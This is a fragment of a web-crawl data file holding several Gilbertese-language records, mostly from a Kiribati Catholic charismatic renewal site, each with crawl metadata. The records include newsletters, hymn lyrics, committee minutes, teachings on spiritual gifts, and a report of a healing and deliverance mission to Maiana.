kawaia kain Teaorareke ma Betio ni mananga nakon katabeaia aio. Iai naba te mananga iroun ara kauoman tia babaire are e a tia ni mananga nako Onotoa ibukin kainaomatakia teningaun tabun ake a tia ni kooti ao e a tia naba n oki. A tia naba ni kawara Nonouti Fr Koru ma Tiiria ao Meeta ibukin naba te kainaomata ao a tia naba n okirikaki. Kabane mane aikai e bon kabakaki man manen NSC. Imain mananga aikai ao Betio e a tia naba ni kawara Tarawa Ieta ibukin naba te Kainaomata ao aio are e kairaki irouia kain Tirotaam te Eti.\nA tia naba ni katebenakoaki tarira ma manera aika onoman maitia man Parish aika teniua aikai ibukin tararuan te Karea. Te koraki aikai a tia naba ni karaoaki aia workshop iroun Fr Koru n raonaki irouia riita ma ake a kan reirei iaon ana karea te Tamnei ae Raoiroi. Ti karabaraba naba ibukin reken te rereua irouia ara koraki inanon Tebetemba are e waakinaki naba iroun ara tama.\nN te tabati ae nako ao a tia naba n reke ake a na ibuobuoki ibukin kabutan Emmanuera iaon Tarawa ma Betio ao koraki aikai bon mai Bikenibeu ao Betio ake a tauraoi moa n te tai aio. A tia ni waaki ma te Tama iaon tabeia aio. Ao ngkai e kantaningaki butin Emmanuera Newsletter n te tai are e tauraoi iai.\nE bon teimatoa naba te kakamakuri iaon Tarawa Teinainano ma Betio n reitaki ma aonaba ni karaoi tibangaia aika a kakaokoro ni karokoa te maeu riaan auti . Aikai ana tangira te Uea ae e rangin korakora.\nE bati iango nakon taai aika ana roko ma bon te Uea te tia kakoroi bukin iango aika ti iangoi Ibukina n ara tataro ma ara kakaonimaki.\nE RABA TE UEA\nIan Namakin\nRongorongo ao Ribooti\nKaongora Tebetemba 2010\n- Details\n-","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/kccrs.org.ki\/nsc\/rongorongo-ao-ribooti\/52-kaongora-tebetemba-2010","date":"2020-10-26T17:54:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107891624.95\/warc\/CC-MAIN-20201026175019-20201026205019-00107.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":624,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.202,"stopwords_ratio":0.335,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Kaibangaki\nTabekan te kaibangaki irou E bon rawawata N na kekeiakinna N na kekeiakinna Ba e aonga ni mwemwe\nChorus\nTi na maiuaia te nano teuana Ma te onimaki ae e matoatoa E na mwemwe e na mwemwe Ana kaibangaki te Uea te tia kamaiu Ti na neboneboia n te bong koraki Ba ngaia kawaira Nakon ueana ae kakukurei Te bwaretaiti","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/www.kirilyrics.com\/single-post\/2018\/11\/19\/te-kaibangaki","date":"2020-10-24T23:25:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107885059.50\/warc\/CC-MAIN-20201024223210-20201025013210-00004.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":62,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.188,"stopwords_ratio":0.468,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ana Tangira Te Uea\n- Details\n- Written by Administrator\n-\n(Aio karakinan ana kamimi te Uea n reitaki ma baai aika riki inanon ara kabanea n tai ni kabobonga kanoan ara website man tairikin te Kanimabong ni karokoa 10.30 am n te Kaonobong)\nBoni iai au kanganga ma ngke e tairiki ba ti tebo ma e uruaki au flash drive are a bon bane n tiku iai au bai ni kabane ibukin te website ao Emanuera. Inanon au tai ma Wayne ngke e bong (Kanimabong) ao I a butia Wayne ba e na kauka au flash ao e a tuangai Wayne ae titebo ma e aki reke arona. N te ingabong aio (Kanobong) ao I a manga kataia naba n au PC n te aobiti n te aoa ruaiua n te ingabong.","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/kccrs.org.ki\/ana-tangira-te-uea?start=20","date":"2020-10-26T19:13:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107891624.95\/warc\/CC-MAIN-20201026175019-20201026205019-00218.warc.gz","language":"gil","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.000009298324585}","num_words":129,"character_repetition_ratio":0.032,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.403,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Imuin te titiraki ibukin kamatatan taian kainibaire iaon aron rineaia riita nakon te Tama Koru amo te Tama Micheal, e kukurei n te NSC n kaaweenei taian kamatata aikai ibukin aron rineaia riita n ara kurubu aika kakaokoro.\nKabarabara tabeua\nKanga bon akea te kainibaire ae matata raoi iaon aron rienaia riita. Ma n are e oti aia Makuri Abotoro ao n ana reta Bauro, e na riai n iai iroun te aomata ae e na rineaki nakon te kairiri te maiu ae kaonaki n te Tamnei ae Raoiroi are e tauraoi n kairaki maeuna iroun te tamnei ae Raoiroi ao are e noraki ni koaua anua aikai inanon maeuna. A na ibuobuoki naba warekan karakin rinean Mataio are onea muin Iuta Makuri 1:21-26, ao rineaia rikan ake itiman (Makuri 6:3-6). Te maan n tia n rin inanon te botaki ni charismatic ao te atatai n kanaon te reirei n te charismatic ao kanoan te onimaki ni KJatorika a na bon kakawaki naba ibukin te tia kairiri. Ma iaon bai nako bon te maiu ae inaomata n Ana kariri te Tamnei ae Raoiroi ke te Maiu ae Onraken te Maiu.\nTe bubuti nakoimi ba kam a boni katebenakoia moa ami aomata (candidates) tao uoman ke teniman man ami baereti nako ibukin te rinerine nakon te Tibi Leader.\nAikai ngkanne kai ni baire aika a na riai n iraki ibukin rineaia taian Tibi Leaders (TL):\nKainibaire\n1. E na rineaki te aomata ae e a tia ni kainaomataaki\n2. E na rineaki te aomata aee kakaonimaki ao ma ni marurung nakon te makoro\n3. E na rineaki te aomata ae iai ana konabai ni kairiri\n4. E na rangi n tamaroa riki ngkana te aomata are rineaki bon akea kabaeana iaan tuan te Ekaretia; riki n tuan te urumare.\nMai irouia te koraki ake a tia ni katebenakoaki akanne, ao e nang tiba kona ni karaoaki te rinerine iaoia n ai aron are ti tataneiai iai mai maina.\n\"Kawakina raoi nakoam ae ko anganaki mairoun te Uea, ao kekeiaki ni kakoroa bukina\" (Korote 4:17b).\nFr. Koru ao Fr. Michael, NSC, Teaoraereke, Turai, 2010","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/kccrs.org.ki\/nsc\/reirei\/15-ncs\/reirei\/41-kainibaire-ibukin-rineaia-riita","date":"2020-10-26T19:04:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107891624.95\/warc\/CC-MAIN-20201026175019-20201026205019-00240.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":345,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.365,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nakomai te Tamnei ae Raoiroi….\nN te nano ae ti teuana ao a kakorakoraia n reitaki n tataro n te ruu are i eta Abotoro ao Reirei n ikotaki ma aine tabeman ao Nei Maria are tinan Iesu ao tarina ma manena.\nBon aio nanon Tamara te Bobe ni kan manga karokoa inanon te Ekaretia te kabouaki inanon te babetito n te Tamnei ae Raoiroi n te Bentekota 2019.\nE kukurei te Charismatic iaon Kiribati ao te NSC ni katanoata nakoimi reitan te maea n tataro aio inanon wakinan ana Novena Nakon te Tamnei ae Raoiroi are na moanaki man te Kanimabong, 31 Meei 2019.\nTi na butia Tinara Nei Maria ba e na raonira n ara katauraoi ba ti aonga ni bane n ruonaki ao ni kaonrakeaki iroun te Tamnei Ae Raoiroi inanon tain te Bentekota ae nang roko.\nKam raba ao ke kawakinira te Uea n tai nako.","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/kccrs.org.ki\/component\/content\/article\/1271-katanoata","date":"2020-10-25T07:42:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107888402.81\/warc\/CC-MAIN-20201025070924-20201025100924-00718.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":147,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.415,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Irarikin karea ake ti anganaki n te Babetito ake a karikiira ba natin te Atua ao bon iai riki Ana Karea te Tamnei ae Raoiroi ae kaonoti (charism) nakon temanna ma temanna. Ti anganaki karea aikai tiaki bon i bukira ma bon ibukin kakoroan Nanon te Atua ni kan karokoa ana Kamaiu nakoia ana botanaomata. Karea aikai a bon aki manennanti n reke i roura ma bon kanoan Ana Babaire ni Kamaiu te Atua i bukia ana botanaomata ae a kaman iai n taai nako. Kanga ai aron Nei Maria ae rineana ba e na riki ba Tinan Natin te Atua bon te bai ae e a kaman iai inanon ana Babaire te Atua. Ao reken karea aika kaonoti aikai iroura bon te bai ti a tia ni kakoauai n akea te nanououa ba ti atia n anganaki inanon baai ke kanikina ake E a tia n ringii iai maiura te Tamnei ae Raoiroi.\nBon iai baera ae moan te kakawaki ngkanne ngaira ake ti anganaki karea aikai ba ti riai ni kabonganai ma te ongotaeka, te nanoanga (charity) ao te kakaonimaki. Tabera naba ngaira naba kain te botaki ni charismatic bon te tataro ibukin karea aikai ba a na rikirake ibukin mammakurin Te Tamnei ae Raoiroi i buakora ao ibukin neboan te Atua ma katongan karawa ikai i aonteaba. Ti na aki toki ni bubuti ba a na kawakinaki tarira ma manera aika iai karea aikai irouia, kioina ngkai a na bon motikaki naba taekaia n aron aia kakaonimaki ni kammakuri ao ni kabonganai karea akanne n aron ana kantaninga te Uea. Ti na tataro naba ibukia ba a na aki kabonganai karea aikai ibukin kamoamoakiia ma bon ti ibukin neboan te Atua are te Tia Karikiira.\nA bon katuruturuaki man kamatataki ana Karea Te Tamnei ae Raoiroi aikai iroun St Bauro n ana moan reta nakoia I-Kirinto (Makoro 12 &14).\nE rinanoi baike e maeuakini St Bauro ni moan tein te Ekaretia, ao e tangiriia moan Kiritian ba a na ata ana kawai ni makuri te Tamnei ae Raoiroi akana ruaiwa (9) akanne, ao aikai ana kawai St. Bauro are a na kona n reke iai iroura karea akanne ba:\nTi na reirei taekan karea akanne\nTi na makurii\nTi na anga ngaira nako iai\nTe International Chatholic Charismatic Renewal Services Rome (ICCRS), e kamatoa are e taekina St. Bauro ao e a manga kurubuni ana kawai ni makuri te Tamnei ae Raoiroi akana ruaiwa (9) akanne n tenua (3) te kurubu n ai aron aikai:\n1. Te maaka n taetae (The Power to Say)\nTe taetae ni Ianena\nKabaran te taetae ni Ianena\nTe taetae ni burabeti\n2. Te maaka n atatai (The power to know)\nTe taetae ni wanawana\nTe taetae n ataibai\nTe matairiki\n3. Te maaka ni makuri (The power to act)\nTe karea n onimaki\nTe karea ni katoki aoraki\nTe karea ae te kakai.\nIroun Kaoti Teingoa (Tia Babaire n te NSC) ao Uriam Timiti","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/kccrs.org.ki\/nsc\/reirei\/15-ncs\/reirei\/23-ana-karea-aika-a-kaonoti-te-tamnei-ae-raoiroi","date":"2020-10-26T18:30:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107891624.95\/warc\/CC-MAIN-20201026175019-20201026205019-00246.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":485,"character_repetition_ratio":0.077,"word_repetition_ratio":0.008,"special_characters_ratio":0.214,"stopwords_ratio":0.379,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Tabo: Fr Koru's Residence, Teaoraereke\nAika a roko: Fr Koru, Ian Namakin, Ioane, Tiria Riwata, Eritabeta Katimiri ao Kantarawa Yeeting.\nAika aki roko: Toom Timee.\nE kaukaki te bowi n te tataro iroun Nei Kantarawa.\nKanoan te Bowi\n1) Araia taan tararua te Karea\nBikenibeu: Ten Kaitu, Nei Nikiaba ao Nei Terimwa.\nTeaoraereke: Ten Bwebweua, Nei Maing ao Nei Teakoua\nBetio: Ten Utimawa, Ten Kamoa ao Nei Tearaa.\n2) Katokabai ao ni kakorakora\nAna katokabai te Tama Koru ibukiia taan tararua te Karea n te Tabati 05\/09\/10 n tain te reitaki n nebonebo I Ambo.\n3) Workshop\nE na karaoa ana workshop te Tama ibukiia taan tararua te Karea n te Kauabong 07\/09\/10.\n4) Fund Raising ibukin buokan te kantoka nako Aonnaba\nE tauraoi te Tama Koru ni katauraoa te reta ibukin te bubuti te buoka nakon taabo, kambana, business(private) ma aomata are ti kan karekea buokan ara kantoka mairouiia. Ti na uota te reta anne bwa ngaia are tina anganiia naake tina bubuti nakoia. Te reta are ko na anga te original n taai nako ao ti aki te katoto.\n5) Kantokaia NSC reps ni manangaia ibukin te charismatic\nE motikaki naba bwa e na kabonganaaki mwanen te NSC ngkana ana mananga ibukin kawarakin aonnaba ibukin kamaiuan te botaki ni charismatic. (kaineti ma kainnanoaia ma I aonnaba.\n6) Ana Work Plan te NSC ibukin 2010\nE a tia ngkai ana workplan te NSC ibukin 2010 ma iai riki bwaai tabeua aika a na riai ni karinaki inanon te Work Plan aio n aron:\na) Aia bong ara Taama aika karineaki ni katabuaki nakon te nakoa ae tabu (Ordination Anniversaries).\nb) Kanikinaean taai ake a na riki bwa ana tai n reitaki te charismatic aika aki kauntaba ma te Ekaretia ae bwanin.\n7) Te Reitaki n Rereua ni kabane\nAio are e kaineti ti ibukiia tarira ma manera ake anang tauraoi ni butimaea te Kainaomata iroun te Tamnei ae Raoiroi. E noraki riaina ao e boutokaaki anne.\n8) Kanoan te Tabati 05\/09\/10 (reitaki n Nebonebo I Ambo)\nE tiku nakoia kain Betio te program ni kanoan te Umantabu ao te MC n te maneaba. Ibukin te Moi a katabeaki iai kain Teaoraereke ao te kabuki a katabeaki iai kain Betio ao Bikenibeu. Ena iai naba te kainaomata n te Tamnei ae Raoiroi.\n9) Te Katei ni bubutimaei ao n tangira\nE na kateimatoaaki te katei ni bubutimaei ao n tangira nakoia aomata ni kabane ake a boou ao ake a tibwa tabe ni kaninganinga aron ara botaki ni charismatic. Ti bon kona ni kinaia tarira ao manera akanne ngaia are kaota am butimaei ao am tangira nakoina ni weteia ao ni karikia bwa tarim ao manem ni koaua are e na feel at home.\n10) Raumea ibukin butimaean te Takaramentu\nAio are e na bon karaoaki te raumea raoi irouiia Leaders ni kabane ibukia aia koraki nako ake ana kainnanoa te Takaramentu ao aia list anne are e na kabonganaaki ni weteaki te ara iai imain are e na anga te Takaramentu te Tama n te tai are e baireia.\n11) AOB\na) E bubuti Bikenibeu representative Kantarawa bwa tera ngke e kona naba n reke ana tai te Tama Koru n anga reirei nakoia kain Bikenibeu charismatic renewal iaon ana karea te Tamnei ae Raoiroi n te Moani Kanimabong ae 03\/09\/10 – 05\/09\/10. E rabwa te Tama Koru bwa e kukurei ao akea te kanganga ma e kainnanoa moa ae ana reitaki ma aia Tama n aia parish ibukin ana kariaia ao imwin anne ao e a manga bon ongora te Tama.\nb) Rereua ao teuana ni bong Workshop ibukin te Charismatic ae banin\nN te Kaonobong 11\/09\/10 ao e na karaoa te reirei te Tama Koru I Teaoraereke ibukiia kain te botaki ni charismatic ni kabane.\nc) Kainaomata I Onotoa\nAna iango te Tamnei ae Raoiroi are e kauringa Onotoa bwa e riai ni kawaraki ibukin te Kainaomata. Ibukin tabetaben te Tama ae bati ao e anga nanona manera ma tarira ae Ioane ao e na mananga n te Katenibong 08\/09\/10. E tiku bwa taben te tia Babaire Iaen kabaean aran Ioane n te Air Kiribati ao Nei Tiria te tia mwane ni buta te kantoka ae $300.00 bwa $150 te nako ao te oki.\nd) Mwanen te CD are e kabonakoaki\nAio are e a bon roko tangirakina mai Fiji ao are a bubuti ngkana e kona ni uotia Fr Patrick ni manangana next week. E baireaki bwa e a butaaki naba man manen te NSC ae $250.00 are bon manen raoi te CD ngkana e bane.\ne) E anga ana karabwarabwa te Tia Babaire ibukin te bowi ae nakoraoi ao riki ngkai moan te bati naba te bwai ae karaoaki iai.","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/kccrs.org.ki\/nsc\/minitin-ana-bowi-te-nsc\/51-31-aokati-2010","date":"2020-10-26T18:34:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107891624.95\/warc\/CC-MAIN-20201026175019-20201026205019-00250.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":762,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.402,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E raweaki ao ni koreaki te karaki iroun Motie Borerei Beine mairoun te unaine ae Nei Tetaobe\nAio bon te kateniua (3) ni mananga imwiin manangaia tabeman ake a nako Kuria ma Aranuka ao Tarawa. Kuria ma Aranuka bon te moan mananga ao Tarawa bon te kauoua ao ai te kateniua ae e karaoaki ba te nako Maiana. Aio naba are e nako mai iaan ana baire te Tama Hegglin. Ni manangaia aio, ao a bon kakaokoro taan uota te Rongorongo ae Raoiroi inanon ana Tangira te Uea. Ake a karaoa kanoan te nako Kuria ma Aranuka a muiokoaki iai Teema ao Toanuea ao e bon raoniia te Tama n te tai anne. Naake taan nako Tarawa bon tangaia Atanibora, tangaia Berekeman ao ai tangaia Kanere. Ao ake a nako Maiana bon Tetaobe, Teema ao Miiraa. N rokoia kain te tiim i Maiana ao a bon ataia ba te tabo are a na kawaria e matoatoa ba a korakora bain riaboro iaona. Ngke a roko ao a boni butimaeaki ni katokaaki iaon baoia te kaa irouia mitinare. N tokaia iaon te kaa ao a boo nanoia ba a na katoka aia barengaru are bon te Rotario.\nNgke a roko iaon Tebiauea ao e a karaoaki te boowi irouia kain te Charismatic ma mitinare ao e moti ba e na moanaki te waaki mai Bubutei. Inanon rokoia i Bubutei ao a kairaki nakon maneaban te Aro ni Katorika ikekei. A bon reita aia tataro Nei Tetaobe ma Nei Miira n rinia n te maneaba. Ao teuare Teema ngke e rin n te maneaba ao e a bon roko naba ni matu. Ma ai bon te kubanako terana irouna ngke e a bon kiro ao e a bon nora naba te wii ae bubura ba e a ruo nako aona ba e nang kabautia. E kiba man teirake ao n takarua ao a bon ongo raona akekei banana n kangai \"ti butiko te Uea ae IESU ba ko na kabaeia tamnei aika buakaka ian am Kaibangaki\". A uaia n tataro ni katoka bai iaon raoia aei ni karokoa ae e reke ae raoiroi. N te tairiki anne ao a karaoa aia kabarabara ao a taekina aron moan kaainakin te botaki ae te Charismatic irouia ma ni kaoti naba bitaki inanon maiuia ni karaoa ao ni kateimatoa tabeia i bon irouia ni kateniman n aron te kan nenebonebo, te kan kakaraoa te 15 ni miniti ao man korakora naba tangiran te Uea are a noria n te botaki ni charismatic.\nInanon tain te maroro ao akea ba e a roko te rongorongo ba a kainnanoaki n te bong anne nakon te aoraki ae Nei Tekenna. Aorakin Neiei ai bon te mate ba iraua te miniti ao eikeike ao tabeua te miniti ao e a manga aki ikeike. Imwina ao e a taetae Teema nakon Iesu ao e taku \"Iesu ane Ko a bon ongo te rongorongo ma tia butiko ba ko na rimoara ba ngaira tia mananga nakon te 6.00 n te ingabong, ba are ti tabe moa ma am aomata aikai\".\nA mananga nakon Nei Tekenna n te ingabong are imuina ao ngke a roko ikekei ao a noria ba Nei Tekenna kanga e a bon mate ba e a anaanaa ikena. E bon wene Nei Tekenna ma akean ataan te bai teuana, ma aitii maiun rabatana ngkana e ike teutana imwin iraua te miniti. A bon rotan ana koraki ni kabane ao ai moarara riki tibuna are e a tobaia man tangitangi iaona ae Ten Teken ae natin Nei Teuea ma Tiare. A aki anga aia tai ba are a karaoa naba aia tataro ni katokabai iaona. Tao e bon nakon ae teitera n aoa maanin aia tataro ao kanga inanon are e nang moti aia tataro ao a anaa ana tataro Nei Maria. Inanon aia tataro nakon tinaia Nei Maria ao e a teirake naba n tekateka ao e taetae aia aoraki. A rangin n tiraua aomata ake a kakoaua te bai ae riki ba bon ana koraki Nei Tekenna ao ai bon taani mataku. Inanon teiraken Nei Tekenna ao e a taku nakoia ana koraki \"A tia n reke aroia nakai?\" N te tai anne ao a bon mii ana koraki ba akea te kaantaninga irouia ba e na riki aio. A aki te roko ni kaeka ana koraki ba a bon tei ni mimi n te aekaki aei, ao a kubanako ba e nang kanga naba n taetae n aron aei ngkai e a bon maan ni wene ba ai bon te mate. Ti teuana te taeka are nako mai rouia te koraki n norakin ana kamimi te Uea aei ba te taeka ae kangai \"E aera naba\"!!!\nN okiia nakai imwiin aia makuri ni kamauan te Nei Tekenna ao a karaoa aia kooti ba ai kanoan aia moan wiki n reirei iaon te Maiu ae Onraken te Maiu.\nN te bong naba are imwiina ao ai kaean te kawa Raweai. A uotaki aia bai n te kaa ao ngaia a karaoa kawain te kaibangaki n rianna inanon te kaawa. N rokoia i Raveai ao a kabarabara aroia iaon Bubutei ao bon ti te arona naba aia makuri n ibuobuoki ma kanga e tara n ae e bebete kanakoaia riaboro. Ao n te bong are imwiina ao a manga nako Tebiauea, ao bon titebo naba aia waaki ma are a karaoia iaoni kawaia n aron ae a karaoa naba aia kawai ni kaibangaki. N rokoia i Tebiauea ao a bon tataninga unimane n te maneaba ma a aikoa moaniwaeia ma a kawara moa te umantabu ao imwiina a na manga nakon te maneaba. Ma inanon aia tai n tataro inanon te umantabu ao akea ba e a karina naba ni kaoti temanna te aine ma uotana taian riaboro. A kubanako naakai iroun te aine aio ba e a bon ti kamangaoa naba aron aia tataro n tatetae ni karerarera man taetae n aki akaaka. A tanrikaaki ao a ataia ba iai te riaboro irouna.\nNgke a waakina aia katokabai inanon naba te tai arei ao unimane are ai bon te tataninga n te maneaba ma te amarake. Te bai ae riki e bon riaon ae kantaningaki ba ngke e a waaki te tataro ao e a bon tauia naba naakai ma aia aoraki aei man te aoa 7.00 am nakon te aoa 2.00 pm. A aki roko n te amarake ba e toka nanon te Uea irouia ba ai te tataro ni buakana te riaboro. Inanon aia waaki ao e a kaekaia naba te aine aei man taku \"Tabuariki ngai, ao ai tebwina au ririki iroun neiei ao kam naera ngkami aika irua aika kam a aroko n urua au tabo ma abau ae Maiana?\" Anne ana taeka imwiin kataetaeana iroun Neiere Miraa ngke e kaangai nakoina \"Kaotiko ba antai ngkoe\". Imwiina ao e a manga taku Miraa \"Ao ngkana ai tebwiina am ririki iroun Neiei ae Nei Bouataake ae Natin te Atua ao ko na kitanna ba akea am tabo irouna ba natin te Atua. E a manga taku neiere, \"I rawa, ao I aki kan nako ba ai tebwina au ririki iroun neiei\". N te tai anne ao te koraki a bon maiti ba ai te bane ni mataku irouia. A bon bane kain te kaawa ake a kona n nakonako.\nE a manga bon reitia riki te aoraki man taku n te bana n uun \"Ngkami aika te naan irua aika kam a roko n urua au tabo aei\". E kaeka Miira man taku. \"Ao kaotira ba antai arara ba ngaira bon kain Maiana ao tiaki irua ngaira ao ngkoe tiaki kain Maiana ba am tabo anne e bon ataia IESU\" E taetae Miiraa imuina ma te bana n uun naba nakon te riaboro, \"Ba ngaia ba ko bon kinaira ba IESU ngaira ao n te miniti aio ao te aoa naba man te bong aei ao ko nako ao ko na kitana neiei ba akea am tabo irouna ba neiei bon Natin te Atua\". Ngke e nang nako Tabuariki ibukin ana taeka ae kangai \"I a maraki ao I a kainnano iroumi n ami taetae n ianena ao N nang nako\". Ao e a manga kangai Nei Miiraa \"Ao naako ao kateniua ami taeka ni kangai, \"I a nako ngai ae Tabuariki\". E kaeka te riaboro ao e kangai teniua te tai,\"I a nako ngai ae Tabuariki. Ngke e a nako te anti ae Tabuariki ao e a moana nako naba te aomata are e roko ba e na kawaekoaia Teema ma raona ba a na amarake ma unimane are bon Ten Tonana. Inanon rokona iroun Tonana ao e a kairia ba e nako moa n anaa ana baene n te maneaba ao imwiina e manga kairia nako n ana naba ana karaun ba e na kabaka i taari.\nE anaa ana karaun n ana auti ao e a kabaka i taari iaan bubuan waena. Ma te kuba tera ba e a ti iabuti naba taari man roko iaan baina te iabuti. Bon te aomata ae bubura Tonana ba muin Nauru. E a uaua man uaua ao e a tatakarua \"I mate, I mate\". E ngae ni bwabwa ao e a bua ana iango. E ngae naba n taratara nako ba e taku ba e na iai ae e na roko ma bon akea. E inako ao e otirake ao e nima taari ao e a bon kaan ae e nang mate. E raroa ana tabo ba are e bon nako matani kabi n te nama. N tokina ao e a bubutia Iesu ao n taku \"Iesu kamaiuai, Iesu kamaiuai\" Inanon ana tai n ibekibeki ni kakaea angina ma ikena ao e a tekeraoi ni beena ba e na kabara ao man uaua naba iai ngke e katibua. Ao mai ikekei ao kanga e a reke buokana iai ao man uarakea eta. Ngke e a roko ieta ao e aki te roko n te rautariia ma e a bon birinakoia naba te koraki ni Charismatic aikai ao e tatakaruaea matena man taku \"I mate I mate, kamaiuai\". Ngke a karaoa aia tataro ao bon moan te kainako te anti aei mairoun teuaei. Ao ngke e nako ngkoa Tabuariki mai iroun te aine ae Nei Boutaake ao ngaia iai riki ake a tiku irouna imwina ba Nei Kanna, Nei Tina ni Moone, Terakunene, Riannewekabane, Kaobunang ao Taburitongoun. Ma anti aikai kanga a bon kainako mai irouna.\nImuina ao ai bon kawaran Tebanga. Ngke a roko i Tebanga ao a manga kaitibo naba ma te riaboro are e kaotia iaon rabataia aomata, n aron te aomata ae Ten Tiito are bon te boori ao ai tebwi tabun te ririki aorakina aio irouna. Ngke a karaoa aia katokabai iaona ao e a bon marurung naba ba e a bon teirake naba man nako n ira kanoan te kaongora n te maneaba n te tai arei. Teuaei bon kain te Itibong (SDA) ao n rokona n te maneaba ao aomata a tira n roko ba te ongora irouia kain ana tiim te tautaeka n rokoia n te tai anne. N rokon Tiito n te maneaba ao akea ba e a tatakaruaea naba ana kamaiu Iesu nakoina man taku \"Tanimaeang, Tanimaiaki, Tanimainiku ma Tanimaeao, Tara Tiito ngkai, kam noria? E a kamaiuaki iroun Iesu n aia tataro nako nakeke teniman akekei\". Ngke e taetae ao e tei n raman te maneaba mai itinaniku ma te bana ae e baibati n atonga anne ieta. E aki toki nanona imwiin taetaena i maiakin te maneaba ao e a manga rin n te maneaba ao ni manga kabaibata banana ao ni manga takarua ni kabaibata banana ao ni manga taekin naba ana taeka akekei \"Tara Tiito ngkai!! Kam noria?... E kamaiuaki iroun Iesu\". Imwiin anne ao e a manga mananga nakon iteran te maneaba are te iterana ao kanga e a riki bwa ai te mino n tatakaruaea ana Kamaiu te Uea.\nN tikuia ikanne ao e a roko te tama Ioteba ao e a bon raoniia ni karaoan aia kanako riaboro. Ngke e a bon rabane kaean ke kawaran kawa irouia ao a manga bon okira aia moan tabo are a moan waaki iai ae Bubutei. Tao ai teniua te tai kawaran kaawa irouia nakai ma aia kooti are a teimatoa ni karaoia nakoia aomata ao man rikoi baai n riaboro, boni mai Bubutei nako Tekaranga. N aia kateniua ni wiki ao a bon anganaki ngkanne, taian baa ni kakaraoi, booki n tabunea, bunna ni kamauri n aron te kora, te iran atu, ao ai bon rinanin baai n tabunea riki tabeua n aron te nana te kuo n aine ao a bon bati riki. Man mwiin te tai anne ao kanga a rairi nanoia kain Maiana ake a anga aia bai n tabunea.\nN aia kanimaua ni wiki ngke e a roko te Tama Ioteba. E reke ana iango Teema ao e tuanga te Tama ba a nang nako n urua te bangota ae Nei Kanna i Bubutei. N rokoia ikekei ao a mananga iaon bubuan waeia ma baia ba are uakan ma te bangota ma taian auti ni maeka. E tataninga te Tama ao Teema e a kawakawa tao uabwi (20) te miita ao e nako n urua te bangota. Inanon te managa aio ao e bon noraki kamimin ana Tangira ma ana Kakawakin te Uea nakoia ara moan 'mitinare' ni charismatic aikai ni karokoan ana Kamaiu te Atua nakoia kaini Maiana, riki ake a tia n rairi nanoia. Te koaua ikai ba kamimin ana kakai ma ana makuri n ibuobuoki te Uea, E bon roko n tabo nako man nini bai ni kabane.\nTi karaba ao ti neboa te Atua ni baai ni kabane... Alleluia!!!!","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/kccrs.org.ki\/nsc\/rongorongo-ao-ribooti\/20-karakin-te-mananga-nako-maiana","date":"2020-10-26T18:33:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107891624.95\/warc\/CC-MAIN-20201026175019-20201026205019-00599.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2271,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.377,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} 